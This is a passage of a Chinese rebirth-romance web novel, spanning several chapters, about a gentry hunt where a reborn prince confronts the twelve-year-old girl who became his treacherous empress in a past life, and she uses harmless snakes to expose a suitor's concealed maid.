听他这样说,其他几人越发好奇,郑县郭氏仗着同姓还要追问,都被太原郭氏兄弟岔开话题,眼看两人讳莫如深,众人只能作罢,暗自猜测贵人到底是何身份。 庭院中气氛热闹,林希真此时走进内堂。林家二夫人坐在榻上饮茶,见女儿进来,屏退仆妇,只留了个贴身服侍的婢女,便迫不及待道:“我可算是打听到了东院那位贵客的身份。” 林希真没想到被母亲派人急急唤来,说的是这件事。前日郭氏陪同贵人一起抵达登丰县,林家在县里颇有势力,但与郑县郭氏相比还是有所不如,更别提已称得上是高门贵胄的太原郭氏。可就算是太原郭氏,在来的那位贵人面前,态度也如仆从般恭敬。林家上下都大为震撼,将人迎进门后,单辟了个独院给贵人落脚休息。 这两日来林家人都战战兢兢,总是担心哪里服侍不周。原本打算等郭氏来人之后,林家在县中举宴,在本地几个士族面前涨涨脸面,消息传出后,就有不少人动了些心思,让家中待嫁之龄的女郎前来。 林家在接待贵人之后就想将宴会取消,和郭家郎君知会了一声,还没动作,那位贵人就派人来传话,说一切照旧。林家没有二话地照做。 此时二夫人表面镇定,眼神却藏着一抹激动,道:“贵人从长安城来的。”说着她凑到林希真耳边,蚊吟似的又说了句,“刚才有人听见侍卫喊了声殿下。” 林希真大吃一惊,登时瞪大眼,“真的?” “千真万确,”二夫人说到这里,再也按捺不住心头激动,道,“我的儿,这可是天赐的好机会啊。” 林希真心刚才狠狠震颤了一下,只觉得此事超出预料,听母亲这样一说,她瞪直了眼,道:“母亲糊涂了,贵人身份如此尊贵,该小心伺候千万别出岔子。” 二夫人拉着她的手道:“这些自有人安排,在登丰县,有哪家能比林家。这可是天大的气运,明日郭氏那几个郎君要去县郊游猎,贵人也会露面,你自幼骑术就学的好,我那时觉得女子该淑静些才好,没想到这份运气是应在这儿了,你明日好好露一手,若让贵人看中……” 林希真听母亲越说越不像话,打断道:“我已经许了人的,母亲难道忘了。” “若能得贵人青眼,一纸婚约算什么,”二夫人横她一眼,“八娘太小,家中只有你一个。” 林希真深深呼吸两口,道:“母亲糊涂,贵人这样的身份,什么样的美人没见过,女儿除了骑术还算拿得出手,其他皆是平平,别说长安,就是在这县内,都不算拔尖。母亲还是别多想了。做好本分事就是了。” 二夫人顿时着急,“胡说,你身段样貌差在哪了?” “别的不说,肖如英那样的才叫美人。今日她带着幼妹一起来,年岁还小,瞧着又是个少见的美人坯子。” 二夫人道:“我见过肖家女郎,样貌的确不俗,可惜家里如今落魄,说是士族,和寒门都快差不多了。你不用担心她,我另有安排。” “母亲你……” 林希真目光异样,二夫人道:“亏你还是我肚子里出来的,想什么呢,我这把年纪,还能去为难个年轻女郎,我这儿有一桩顶好姻缘要说给她呢。” 林希真来了兴致,她与肖如英虽不算亲近,但同县之内走动,也算有几分交情,她不想母亲老说贵人之事,便追问这桩姻缘。 二夫人耐不住女儿磨,说了出来,“郑县郭家二郎,她母亲正托人到处相看,要赶紧寻一门亲,只要女郎有样貌才情,不拘家世,我看肖家女郎就合适。” “郭家夫人为何如此着急要定亲?” 二夫人笑道:“还是四娘写信回来我才知道,原来这郭二郎恋上家中婢女,迷得神魂颠倒,郭夫人要将婢女卖了,他寻死觅活地拦着,听说前些日子都怀上了……咳咳……”她说得兴起,这才想起女儿还未出阁,立刻又含糊过去,道,“反正这事闹得郭家上下都不安宁,郭夫人没法子,想着这样也不是办法,还是赶紧寻一门亲,让郭二郎收收心。家世也不强求,但有一点,样貌要顶好的。我瞧这天就是桩天赐良缘,肖家如今的境况,能嫁去郑县郭家,想也是愿意的。” 林希真心下有些唏嘘。 二夫人话锋又转回来,“肖家女郎那里我会找机会去说,除了她,我看其他的都不如你。明日好好表现,争取让贵人另眼相待。” 林希真也不与母亲多说,只说外面还需招待宾客,赶紧脱身出来。刚才听见贵人身份,她瞬间心紊乱,前日虽然只远远看了一眼,瞧不太清楚,但贵人身形高大,仪表堂堂还是能看出来,如今更知道他是这样尊贵的出身,她静静站了一会儿,轻轻摇了 7. 第七章 《我渣过的昏君重生了》全本免费阅读 林家四郎七郎迎了上来,两人过来时都是先不露痕迹打量一眼肖如英,她发髻高挽,露出修长玉颈,身上穿着燕颌红的窄袖胡服,着山鸩色的裤儿,脚上蹬着一双鹿皮靴。肖如英性子本就有股爽气,今日穿的利落,更增别样英美。两人暗自惊艳,对肖思齐越发热络,口称肖兄。 肖思齐笑着与两人寒暄,指着女郎聚集的位置,对姐妹两个道:“去吧,行猎就图个乐,小心着些。”又叮嘱肖如英看好妹妹。 肖稚鱼临走前瞥了林家兄弟一眼,这两人的心思一目了然,只是他们样貌才学皆是平平,林家也远称不上大族,她阿姐值得更好的。 肖如英带着肖稚鱼找到林希真,她今天穿着一身深枣色的衣裳,袖口金丝绣纹,打扮颇为华丽。已有不少女郎在她身旁,如众星拱月般。有人指着林外十几顶帐子道:“县里也只有林家有这样的手笔。” 林希真笑了笑,将一丝得色掩了下去,道:“都是亲戚故交,难得行猎一次,来的人多,家里也是怕没地方休息,昨日就让人来准备了。” 众女郎讨论着如何分配。林希真微笑听着,有不妥的地方再委婉指出。 忽然有人指着远处道:“那顶帐子瞧着最大。” 林希真不用看也知她说的是哪个,话锋一转道:“那是给几家郎君留的,咱们就选在这儿,离得近些方便照应。” 附近的几顶帐子很快就分完,肖家姐妹两个的帐子就紧挨着林系真,这倒是有些出乎众人所料。肖家是什么情况大家都知道,虽说肖思齐听说才学出众,不少人都说肖家迟早要起来,但如今还是落魄,肖如英刚才已经准备选靠树林边缘的位置,没想到林希真开口,为她点了一个紧邻自己的位置。 林希真语气颇为亲昵道:“你还带着妹妹,离我近些,也好叫人帮着你一起照看。” 肖如英笑着道一声谢,带着肖稚鱼先去帐中稍作整理。 林系真的东西早有婢女仆从收拾好了,婢女将一柄轻弓拿来,她拉了拉弦,问道:“那位贵客呢?” 婢女道:“听说一早就出林家往这儿来了。” 林希真叹了口气,便没再说什么。 肖思齐与林家兄弟也分了帐,经过那个占地明显大了许多的帐子,肖思齐打量过去,见帐外有人守着,身形魁梧,手掌宽大,身上露出悍勇之气。 肖思齐若有所思,却没有打听什么,与林氏兄弟一起,先和郭家兄弟几个碰头。太原郭氏兄弟今日面色不虞,林家四郎年长一些,便关切问了一句。太原郭氏中的兄长道:“昨日说的那位贵人,今日一早就先来了此处。” 有人不解:“提早来了,这是为何?” 旁边立刻有人用手肘撞他一下。 肖思齐暗道:自然是贵人不想与众人照面,没想到太原郭氏将人请来,却连引荐的脸面都没有——这位贵人身份着实不一般。 其他几位却没想那么多,立刻就有人劝慰道:“或许贵人喜欢行猎,早早就来了,等会儿入林说不定就要碰上。” 太原郭氏兄弟也不想在众人面前露怯,点了点头道:“正是,咱们正好一展身手,莫让长安来的贵人小瞧了。” 林家七郎问肖思齐道:“肖兄,我的那匹马壮,行走如风,你可要试试?” 肖思齐知他讨好用意,客气回应一句,侧头看见郭世辰站在众人之中话很少,想着林二夫人昨日说的亲事,他上前主动寒暄,谈及今日行猎。 郭世辰客套几句,道:“我的身手可不如几位族兄,等会儿就只能等再后面捡个漏了。” 郑县郭氏对太原郭氏皆以族兄弟称呼以示亲近,太原郭氏兄弟在一旁听见他这句自谦,也觉高兴,左呼右唤,命人将弓箭马匹备好,这就要入林。 肖思齐笑而不语,看了眼郭世辰——这个年岁的少年人大多心高气傲不易心服别人。他却能坦诚自己不足来捧别人,不知是真的性子谦让,还是世故圆滑。 肖稚鱼与肖如英收拾好出来,正看见一群郎君带着奴仆驰马入林,浩浩荡荡,声势不小。一眼看去,肖稚鱼觉得还是阿兄最为显眼出色,她高高摆手。 肖思齐骑行间回以一笑,背影很快没入林中。 马蹄声渐渐远去。 林希真从帐前走来,招呼肖如英和其他几个女郎,“不能让郎君专美于前,我们也去罢。” 肖如英不放心让肖稚鱼单独骑马,让她坐在自己身前。 肖稚鱼低头看了眼自己的小手,便也没辩驳什么。坐在肖如英身前,听周围女郎说话。 并非所有女郎都喜欢行猎,入林没多久便悄声埋怨有虫蚁,渐渐便有几人慢了下来。 林希真兴致却浓,只是入林好一会儿都未见着猎物,有些打击士气。她转过头来与众人商量,“定是刚才那些郎君经过惊了猎物,我们聚在一处动静太大,不如散开走。”众女郎商量几句,各有各的主意,很快就散了。 有两个女郎仍是跟着林希真,继续往林中深处去。 肖如英带着妹妹,并不想太过冒险,骑马缓步而行。 肖稚鱼前世春猎秋狝都经历过几回,对眼下这样的场面也不觉得新鲜。 肖如英忽然勒住马,从马鞍后侧抓起弓和箭。 肖稚鱼也看到前面草丛边缘露出一点土灰色的绒毛。 肖如英箭搭弓上,飞快射出,嗖的一下扎入土中,惊起一只兔子,后腿一蹬飞快窜走。才跑出没两下,林中一箭闪电般追至,贯穿兔子脖颈处,它两腿抖动几下就不动了。 一个灰衣的仆从快步跑来,对姐妹两行礼,将兔子捡起,回头扬声道:“郎君,猎着兔子一只。” 马蹄声由远及近,很快出现在姐妹两的面前,那是个身着华服的男子,穿着墨绿色袍衫,腰间束着雕花玉带,他二十许岁,五官周正,脸庞却微圆,瞧着不十分出彩,却有几分儒雅和气。他看见肖如英姐妹两,怔了一怔,随即拱手作礼。 仆 8. 第八章 《我渣过的昏君重生了》全本免费阅读 这一声很轻,只是林间寂静,这才遥遥传了过来,声音有些耳熟,瞬间让肖稚鱼浑身绷紧。前世豫王府三年,她所思所想,就是怎样讨那人欢心,等入了宫,又琢磨着怎样固宠,因而对那人的声音极为敏感。 刚才咳嗽的声音,似乎就是他——肖稚鱼不由恍惚,扭头朝林间望去,可林中树木众多,远处更有一层薄雾,朦胧难辨。 肖如英听那一声咳嗽隔得远,也没听见有马蹄或是脚步声靠近,她皱起眉,环视周围,道:“何人在暗处?” 并无人回答。 肖稚鱼心砰砰地猛跳两下,慌过一瞬后,她又迅速冷静下来,地上有草叶,若真有人靠近不会一无所觉。再说那人此时应该在长安,怎会在县郊林中,是她太过多心。肖稚鱼长吐一口气,定了定神。 肖如英道:“走吧。”调转马头,认了一下方向,朝林外去。 肖稚鱼略有些不安,不知怎么回事,被那一声咳嗽惊到后,她隐隐有一种被窥伺的感觉,可左右张望,又什么都看不到,她只好催促阿姐快些走。 此时,密林深处,陆振一面紧紧拉着缰绳,不让马乱动,一面紧张地看着身旁。 豫王手里的弓已经拉开,箭搭在弦上,冰冷箭簇对准的方向,正是刚才那对漂亮姐妹。 林间凉气袭人,陆振却起了虚汗,汗珠顺着鬓角滑落。他总觉得,豫王箭真正所指,并不是那位骑马的女郎,似乎是她身前那个更小的。可这怎么会?堂堂豫王,拿箭对着一个半大小娘子。他心中着实不安,见那姐妹两走远,他松了口气,终于忍不住发声,“殿,殿下,她还只是个孩子啊。” 豫王李承秉放下长弓,面若寒霜,一双眼黑沉如夜,仍是死死盯着刚才肖稚鱼离去的方向。 陆振知道自从月前豫王夜里发狂醒来,性子变了许多。他跟随殿下多年,又是亲兵近卫,有些话却不得不规劝,“那小娘子口无遮拦,谈及贵妃,尽是无知之语……” “无知,”李承秉道,“她哪里是无知,全是肺腑之言,年纪小小,就已想着家中以裙带上位,心思险恶。” 陆振听他语气冰冷嫌恶,心下嘀咕,那小娘子稚气未脱,说话清脆悦耳,听着颇为大胆,但孩子嘛,说话夸大也是正常。如今贵妃得宠,陛下疏于朝政,这些年更是纵容贵妃及其家人,有意无意打压太子,豫王身为太子胞弟,对贵妃一党自是痛恨厌恶,刚才小娘子对贵妃满口称羡,这才惹到了豫王,还落下心思险恶的评语。 想到此处,陆振轻声道:“就算说错了话,也罪不至死,殿下若不想见着她,回头告诉郭家林家一声,让那些孩子避远些。” 李承秉听了这话,沉着的脸并无半点好转。他手抓着弓柄,紧了松,松了紧,心中一股恶气难以疏解。 别人只当她是童稚之语,他却清楚,日后她所引来的祸患,比今日的贵妃更甚十倍。 想起此事,李承秉目光不善。 自那一夜他带兵杀入都城,闻听皇后身死的消息,一时恍惚不慎坠马——睁眼醒来却回到十年前。 前世种种恍若荒唐梦境一场,可梦中有些人却成了扎在他心上的利刺,他早早已想好要将这些刺一一拔除,但这其中,最让他介怀的就是肖稚鱼——他未来的皇后。 她嘴甜心毒,蛇蝎心肠,与齐王勾连,谋逆篡位,几乎害了他的性命。 李承秉面沉似水,眼中戾气如刀。如今父皇太子尚在,他不能杀齐王,就连这样的念头都不能露,但肖稚鱼却才十二岁,只是个黄毛丫头,不如趁早杀了痛快。 抱着这样的念头,想着当初肖稚鱼正是太原郭家送到他身边,李承秉便和太原郭氏招呼一声,往登丰县来。路上他有意甩开郭家人,先到县郊走了一趟,不想就见着了肖稚鱼学骑马。 他来时就动了杀心,可真见了肖稚鱼第一眼,她稚气未脱,与兄姐说话时一派天真浪漫,让李承秉浑身上下都不舒坦,难以动手。 方才她提起贵妃,表露攀龙附凤之意,李承秉听见之时面色骤然一沉,举起了箭,对准了肖稚鱼——前世她便满口谎言,多次蒙蔽他,与齐王杨杲的私情,令他这位皇帝被天下人耻笑。 死不足惜。 弓弦勒在掌间,他却引而不发,直至人消失在面前。 李承秉闭了闭眼,掩住眸中复杂情绪。 陆振仍在絮絮叨叨劝着,似是怕他戾气上来,真杀了一个十二岁的小娘子,对豫王名声有碍。 李承秉默然片刻,先前骤然涌上来的怒气渐渐消了,却多了一种说不出滋味的无力感。他将长弓扔给陆振,翻身上马,说了声走,便往林中深处去。 陆振立刻跟上。 肖稚鱼跟着肖如英回到林外,好几个女郎正围坐在帐前说话,见她们来了便有人招呼她们一起过来。这些女郎大多性子恬静,不喜骑马行猎,所谈也都是些诗词文章,肖稚鱼在旁听了会儿,便觉得有些无趣。 她左右张望,打量四周,忽然见有一骑马从林中出来,马上骑士面白斯文,正是郑县郭家二郎,郭世辰。他下马来,奴仆迎上去,接过缰绳,又有人将马鞍后吊着的两只野鸡取下。 郭世辰对身边随从说了句什么,兜着手往帐子里去了。 肖稚鱼对郭世辰本就十分在意,悄悄注意了一阵,心下有些奇怪,郭世辰一手兜在胸前,似乎拿着什么。她想了想,低声对肖如英说要回去歇歇。肖如英这就要带她回去。 肖稚鱼却道:“阿姐还是留下与她们多聊聊,也好多了解些各家情况,就几步路还不放心我吗?” 肖如英见帐子离的不远,自家幼妹又是聪明伶俐的性子,点了点头,便任她去了。 肖稚鱼与众女郎乖巧话别,往自己帐子方向走,进去之后让潮落倒了杯茶水过来,一饮而尽后,她又悄摸摸遛了出去。 今日参与行猎的郭家林家及其他几个郎君帐子都在一处,肖稚鱼一路走过来,看见一顶格外大的帐子,好奇地也多看了两眼,随即又在周围找起来,很快就发现郭世辰帐子是哪一顶,门前有个随从守着。 肖稚鱼刚才来时只是有点疑心,此刻见帐前帘子紧闭,随从却巴巴守在门前,反而更怀疑这里头有些事了。 她佯作赏玩的模样,绕着帐子转了大半圈,郭家仆从看过来,见她年纪小,便没放心上。肖稚鱼竖起耳朵,也没听见帐子里有什么声音,怕留的久了惹人疑,只好走到靠近林子欣赏草木,实际上却一直看着帐子方向。 此时郭世辰在帐内,将一只雪白的兔子从怀里放下,道:“刚才在林子看见的,身上一点杂色都没有,我想着你必是喜欢,如何?” 他面前站着个一身奴仆打扮的人,身材苗条,胸前隐隐有些起伏,一张脸儿生得白皙,尖尖鼻梁,樱桃小嘴,分明是个标致女子。她低头看着毛茸茸一团的兔子,面露欣喜,将兔子抱起,道:“二郎行猎时还记着奴家。” 这一声嗔怪又 9. 第九章 《我渣过的昏君重生了》全本免费阅读 潮生用绳索扎紧布袋,走了过来,见肖稚鱼满脸紧张,便道:“幺娘要吓唬哪个帐,我去做就是。” 肖稚鱼摇头,“不行,叫人看见不妥。”若潮生被郭家人发现,恐怕当场就要被打死。 潮生道:“捉了三条,就在这里头,幺娘放心,瞧着凶狠,都是没毒的。” 肖稚鱼从他手中借过布袋子,里头的蛇正扭动,布袋表面拱起几段,她浑身汗毛直竖,手不自觉地发颤。潮生见状没松手,担忧地看着她。 肖稚鱼深深吐了口气,主意是自己出的,哪有半路退缩的道理。她心中念道:肖稚鱼啊肖稚鱼,都已经死过一回,还怕些什么,只是几条无毒的蛇而已,难道还能比人心更险恶? 她咬牙,将布袋抓在手里,挥手让潮生快回阿兄身边。潮生一步三回头,脸上全是担忧。肖稚鱼跺脚做出生气的表情,他这才赶紧走了。 等潮生走远,肖稚鱼手牢牢抓着布袋束口,她左右张望,在林边摘了些野花野草,又等了片刻,天边余晖尽收,暮色渐起,天色已经暗了下来。袋子里的蛇还在扭动,她心怦怦直跳个不停,但脸上半点也没显露,仍是个笑模样。 走来的路上见着两个林家仆从,丝毫没察觉异常。 肖稚鱼来到帐子附近转悠,在天暗之前,行猎的人都已经回来,刚才已清点完猎物,最后果然还是太原郭氏兄弟两所猎最多,郭氏兄弟稍作商量,叫仆从将猎来的野鸡烤了与众人分食。林家准备充分,当即就有人搭柴烧火,这就烹弄起来。女郎们觉得新鲜,也凑着来看个热闹。 肖稚鱼目光遛了一圈,见郭世辰正在太原郭氏兄弟两的身后,她提着布袋,走到郭世辰的帐子前,悄悄转悠到背后,傍晚时分,暮色昏沉,她左右看了看无人注意,蹲下从靴子里抽出一把小刀,那是肖思齐给她地,刀长两寸,作防身用。肖稚鱼用力将帐子角落割开条缝,又怕帐中的人发觉,因此小心翼翼,缓慢动作。 不知是不是外面嬉闹喧哗声太大,帐里并无反应。肖稚鱼还需时时注意周围,没一会儿身上脸上就起了虚汗。眼看帐子划开半尺长的口子,她放下小刀,将布袋拿起,对准帐缝,慢慢解开束口。 肖稚鱼活了两世,也没亲手碰过这类蛇虫鼠蚁,刚才她拿定主意要让郭世辰藏在帐里的人显露出来,仓促之下想了这个法子。她害怕的双手颤抖,险些抓不住布袋,眼角瞥见黑黝黝一片蛇身鳞片,她害怕之余心一横,将袋口塞入缝中。 蛇信嘶嘶,蠕动着从袋口慢慢往帐中爬去,肖稚鱼心高高悬着半晌,等到袋子彻底空了,额头上已汗珠密布,她长长吐出一口气。 只听背后有人冷冷出声:“你在做什么?” 仿佛一个惊雷劈了过来,直落在身上——肖稚鱼身子僵硬,猛地扭头。 李承秉站在她身后两丈远的地方,穿着一身玄色云纹夹袍,袖口束起,他身形高大,因居高临下看着她,越发像巍峨大山似的。此时他目光犀利,面色冷峻至极。 他身上气势太盛,如笼着一层寒冰,肖稚鱼屏住呼吸。 他怎会在这里? 这一瞬她几乎疑心是自己做坏事太过紧张,出现了幻觉,可她揉了下眼,豫王李承秉正站在那,两三步远的位置还站着陆振,正是他心腹侍卫之一。 “问你话呢?在做什么?”李承秉语气中藏着一抹不易察觉的肃杀。 肖稚鱼察觉他身上怒意,一个激灵回过神来。不管他为何会在这里,反正如今两人并无瓜葛,她强作镇定,抬起头,壮着胆子去看他,就像寻常孩子那般,没好气道:“关你什么事?” 说着她蹲着去将地上洒落的野花野草全捡起,就要放入布袋之中。 李承秉忽然大步朝前迈来。 陆振有意阻拦,“殿……郎君。” 肖稚鱼见他来到面前,心下骇然,手脚都发软。 李承秉出手快如闪电,一把攥住她的手腕。 肖稚鱼当然躲不过,只觉得他手如铁掌般,抓得她手腕几乎都要碎了,她忍不住叫出声,眼泪唰的一下就往下淌。 李承秉拿起落在地上的布袋。 刚才天色将黑,他为了避开人耳目,在林中又等了片刻,直到外面全暗了才从林中出来。他对这几家郎君女郎的热闹没兴趣,正要趁人不注意回帐中。陆振忽然盯着一处看,脱口而出道:“那不是方才那小娘子?” 李承秉看过去,就见肖稚鱼蹲在帐外,不知在做什么。她身量矮小,背影单薄,若不注意看便发觉不了。他看了一会儿,发现她左顾右盼,手上拿着个布袋子,在倒些什么。 瞧她小心模样,定然不是什么好事。 李承秉骤然窜起怒意,还未细想,脚已经大步朝这里走来。 见肖稚鱼要将野花野草塞入布袋中,他越发起疑,,此刻将布袋翻转过来,正要仔细查看。 帐内突然传出惨叫,一声接一声。 李承秉微怔,只见帐前帘子一甩,从里面跑出个仆从,发出的声音尖锐高扬,却是女子。 “蛇,蛇,”若燕泪流满面,惊慌失措,大声喊,“二郎救我。” 刚才的叫声实在太过凄惨,正看仆从烹烤野鸡的男女皆循声看了过来。见帐中跑出个不男不女的人来,仿若疯癫,嘴里喊着二郎。 有人反应过来道:“二郎?今日这儿只有一个二郎吧?” 郭世辰面色乍红乍白,见众人都朝他打量,心里也一阵慌乱。若燕受了惊吓,仓皇逃出帐时头发都未挽起,此时朝众人这里跑来。他见了又羞又怜,若燕见着他,眼睛一亮,直扑进他怀中,呜咽道:“郎君,帐中有蛇,我被咬了……” 说着她撩开衣袖,让郭世辰去看她手臂上的伤口。 几个郎君面面相视,皆含笑不语。 郭世辰原还想板着脸训斥两句遮掩一二,但听若燕被蛇咬,他脸上绷不住,担忧之情溢于言表,他低头看去,见若燕如雪皓腕上果然有泛红咬伤,心下顿时一紧。身旁仆从瞥了一眼,赶紧道:“郎君,无毒。” 郭世辰放下心来,赶紧将她衣袖拉好,道:“胡闹。” 若燕方才六神无主,所能依靠的只有他,此时便掩面小声哭着。 太原郭氏兄弟两个,一个道:“行了行了,无事就好,你小子倒是藏的深,这两日身边还跟着佳人呢。”另一个也调侃道,“难怪一路上你都不爱应酬。”说着拿眼去瞧若燕,心道这一身随从打扮倒还别致新鲜。 郎君们都打趣郭世辰。 女郎这里反应却大为不同,原先郭世辰斯文有礼,又是郑县郭家出身,虽不及太原郭,也称得上是良配。可刚才那一幕,郭二郎还未婚娶,就藏着个女子在身边,充做随从打扮,朝夕相伴。 年轻女郎当着面没说什么,私下三两个却私语,“这郭家二郎行事糊涂,不辩轻重,日后还不知会做出什么事来。” 又说,“刚 10. 第十章 《我渣过的昏君重生了》全本免费阅读 这个声音各外陌生,肖稚鱼心又猛跳两下,她对李承秉出现在此处心存疑虑,患得患失,突然听到有人来,又不是这两日熟悉的林家仆从,脸色不由微变,就怕是李承秉派人来拿她。 潮落对外应了一声,然后掀开帘子出去,问来人何事。 肖稚鱼听见外面的人道:“我家郎君听说有蛇进了帐子,派小人来送驱蛇粉。” 潮落便先谢过。那仆从又补充道:“这可不是寻常药粉,是我家郎君找人特意配的,家里有人外出,就算歇在荒郊野外,也从没被蛇咬过。” 听此人与李承秉毫无关系,肖稚鱼心已经落回原处,同时又有些好奇,潮落不擅交际,别人说了那么多,她也只翻来覆去谢了几句。仆从见状只好自报家门,对着帐子稍稍拔高了些声音,“我家郎君姓郭。” 肖稚鱼与肖如英对视一眼。 潮落提着个纸包回来。 肖稚鱼唇角勾起,突然开口道:“这么大一包,分量还挺足,肯定不是每个帐都有,不然得带多少药粉。” 肖如英听懂了她的言外之意,走过来,将纸包拿起仔细看了一遍,上面没留任何字,她道:“这倒是奇怪。” 肖稚鱼道:“应该是太原郭家才对。”仆从的口音一听便知。 肖如英有些疑惑,这两日看下来,太原郭氏两兄弟颐指气使,眼高于顶,不像是会做这种体贴事的。 肖稚鱼前世见过不少高门士族子弟行事,主动来献殷勤,不问而自报家门,显然有结交讨好之意。她对肖如英眨眨眼,笑得别有深意,“管他是哪个,若是有心自然还会再来。” 肖如英脸颊飞快闪过一抹红。 这时潮生过来了,站在帐前为肖思齐传话,差不多再过一个时辰就要回去了,让她们仔细收拾,别遗漏了东西。 肖稚鱼她们带的东西不多,很快就收拾完,姐妹两和潮落坐着喝茶又吃了点果子糕饼。肖稚鱼掀开帘子一角,向外张望,主要看的就是那个最大的帐子。现在她已经知道,那个帐子住的就是李承秉。难怪林家知道有位贵客,但身份成谜,除了太原郭氏兄弟,其他人都说不清贵客身份。 她想看看那边的动静,刚才情急之下她咬了李承秉手掌,现在再回想起来却觉得有些太冒失了,当时她又惊又怕,记忆里这个时候根本不会出现的人突然出现,她脑子里一片纷乱,没法细想,本能就想快些摆脱他。 她揉了揉发胀的额角,刚才她已经偷偷将藏过蛇的布袋处理了,若李承秉事后再来问罪,她就装傻充愣到底,反正她如今年岁还小,是可以装傻的年纪。 “在想什么事?”肖如英注意到幼妹的出神,问道。 肖稚鱼摇摇头,往她身边靠了靠,道:“就是有点累了。” 肖如英抱住她道:“再熬熬,等会儿路上就让你睡。” 肖稚鱼点点头,想着到现在还没什么消息来,李承秉那儿应该不会有动作了,想想也是,堂堂豫王,被个乡下小娘子咬了,也不是什么光彩事,以他傲气的性子,只要不是和她一样有前世记忆,应该不会追着这事不放。 肖稚鱼长吁一口气。 又干坐小半时辰,外面仆从跑动,通知各帐子的人出来,上马车准备离开。原本林家安排行猎两日,今晚就在帐中歇息,郭二郎的帐子里进了蛇,让大家觉得不安全。都是士族子弟,又有太原郭氏的人在,没人想要冒险,于是趁夜就要回去。 天色已经黑透了,一轮弯弓似的银月高挂着,月华如水,落地成霜。林家的仆从点着火把,守在各家马车前,远远看着如一条火龙。 肖稚鱼被姐姐拉着上了马车,她前后张望一圈,没见着李承秉的车驾。 肖如英将行礼包袱塞到角落,空出一块褥垫,让肖稚鱼躺在上面,她就坐在一旁。肖思齐带着潮生来了,没有进来,站在外面问了一声,知道姐妹无恙,肖思齐上马守在车外。等众人都上车准备好,林家管事呼喝一声,仆从催动马车, 11. 第十一章 《我渣过的昏君重生了》全本免费阅读 马车剧烈颠簸了,似磕到道上的石头。肖稚鱼一下醒了过来,伸手摸了下湿润的眼角,她朝身侧阿姐看去。肖如英身子伏在包袱上,正打着瞌睡,潮落窝在角落,身子坐着,头垂得很低也是睡着了。 肖稚鱼松了口气,擦干梦中流的泪,睁着一双眼,反而有些睡不着了。外面是行车的声音,偶尔也有人交谈,夜深人静,都压低了声音,听起来模模糊糊的。肖稚鱼翻了个身,马车晃动间,帘子飘动,如水般的月光透进来一线——和前世那个夜晚极其相像,让肖稚鱼重又想起往事。 她与李承秉,从豫王府相识到成为帝后,五年的时光,肖稚鱼有时也会觉得,李承秉对她是不同的——士族高门送去豫王府的美人,只有她获得了宠爱。他不是个重色之人,床笫之间对她却热情。 再者,李承秉相貌英俊,威仪尊贵,情浓时偶尔几句软语,能叫人心都跟着酥了去。肖稚鱼不能免俗,身处那样一个战战兢兢的环境里仍是生出少女情思,将他看作了依靠。 直到沈霓出现,她才逐渐清醒过来,可到底还是年轻气盛,非要与沈霓论个高低出来,她智计百出,手段用尽,终于在王、郭等高门支持下得了皇后之位。 她志得意满,自觉压了沈霓一头,却在李承秉日益冷淡的态度中知道,她终究还是输了。 齐王攻破宫门那日,她也明白了心死的滋味。 肖稚鱼目光掠过车帘缝隙,眨了眨眼,自嘲地笑了笑,不知是不是又见着李承秉的缘故,竟又想起前世那些事来,实在是糟心。 身侧呼吸声重了些,肖如英醒过来,神色怔忪,她扭头看来,正好和肖稚鱼对上,她拧眉,“怎么哭了?” 肖稚鱼道:“没啊,阿姐看错了。” 肖如英坐直了身体,再仔细看去,肖稚鱼脸上笑吟吟的,哪里有她刚才一眼瞥见的悲伤。 肖稚鱼往边上挪了挪,道:“阿姐过来躺一会儿。” 肖如英挪过来,卧在褥垫上,伸手将肖稚鱼揽住,姐妹两个靠在一处。刚才乱七八糟想了一通,马车又一路颠着,肖稚鱼闭了眼假寐,也没睡着,忽然听见身旁一声叹气,她睁开眼,看向肖如英,“阿姐?” 肖如英摸了摸她的头发,“没事,睡吧。” 肖稚鱼却是立刻就明白什么,抱住肖如英的手臂道:“阿姐莫愁,郭二郎非是良配,咱们另寻就是。” “谁想这些了,就你想的多。”肖如英不想在幼妹面前表露愁思,又道,“夜里行车实在难受,骨头都要被颠碎了。” 肖稚鱼顺着她的话咕哝一句:“碎了也不怕,重新揉起来,捏一捏,说不定比原来还好呢。” 肖如英笑她童言稚语。 肖稚鱼与阿姐说笑着,又迷迷糊糊睡了两回,丑时回到了家中。 夜半时分,天色漆黑如一团化不开的浓墨。 就在登丰县各家上马车离开之时,另有二十几个侍卫牵着马站在林边。太原郭氏兄弟垂手站着,神色谦逊恭敬道:“帐子里见了蛇,全是我等准备不周之故,扰了殿下的雅兴。” 今日行猎的众人之中,只有太原郭氏的人才知豫王身份。帐子里出现了蛇,又是无毒的,本不是什么大事,但豫王身份高贵,郭氏兄弟又年轻,自问担不起豫王安危之责,因此决定夜里就走,刚才侍卫来传话,说豫王这就要回都城。 郭氏兄弟立刻跑来请罪,他们之前也曾打听过,知道豫王性情高傲,在他面前犯了错,若是推诿隐瞒,罚必加重,若是坦然认错,责罚则要轻一些。所以他们一上来就先认了错。 李承秉面无表情,听他们说完,道:“与你们无关,有些事需回去处理。” 他说回去,肯定就是长安,郭氏兄弟不敢问缘由,只好又说些应酬话送豫王。 侍卫举着火把,火光一闪,郭氏中的弟眼利,看见李承秉手掌上有红痕,吓了一跳,还以为也是蛇咬的,脱口而出道:“殿下手上有伤。” 李承秉脸一黑,将手侧了侧。 郭氏中的兄长眼皮一跳,刚要说找大夫来,对上李承秉凛然的脸色,又将话咽了回去。 陆振牵了马上来,说都备好了。 李承秉上马,目光扫来,看了郭氏兄弟一眼,道:“那蛇……”两个字才出口,他就没再说下去,脸上飞快闪过一丝恼色,不等郭氏兄弟看明白,他便一勒缰绳飞奔离去,侍卫立刻跟上。 郭氏兄弟叹了口气,心想还是因为蛇扫了兴致。 李承秉行夜路,马不停蹄一个多时辰,路过登丰县未入,而是到了下一个县城才停马歇息。陆振拿了一小盒药膏来,双手递过来。 李承秉看见了,摆手不耐烦道:“不用。” 陆振立刻就将药膏收了。别人不知李承秉手上的伤如何来的,他却是知道,是那小娘子狠狠一口咬的。这事实在荒谬,若非亲眼目睹他也无法相信。 大概是他打量的目光有些明显,李承秉面色不怿,低头朝手上看,掌边有半圈红痕,被咬的时候油皮破了,沁出丝血,此刻却显得颜色有些深了。李承秉见着伤,冷笑道:“你可曾见过这样生性歹毒的女人?” 陆振心说那分明还是个小娘子,口中道:“许是年岁小了点,不知轻重。” 李承秉道:“三岁看老。秉性出自天然,哪里是能改的。”说了这一句,他脸色依旧不好看,道,“从未听闻哪家女郎会用蛇去害人,还是这样小的岁数。” 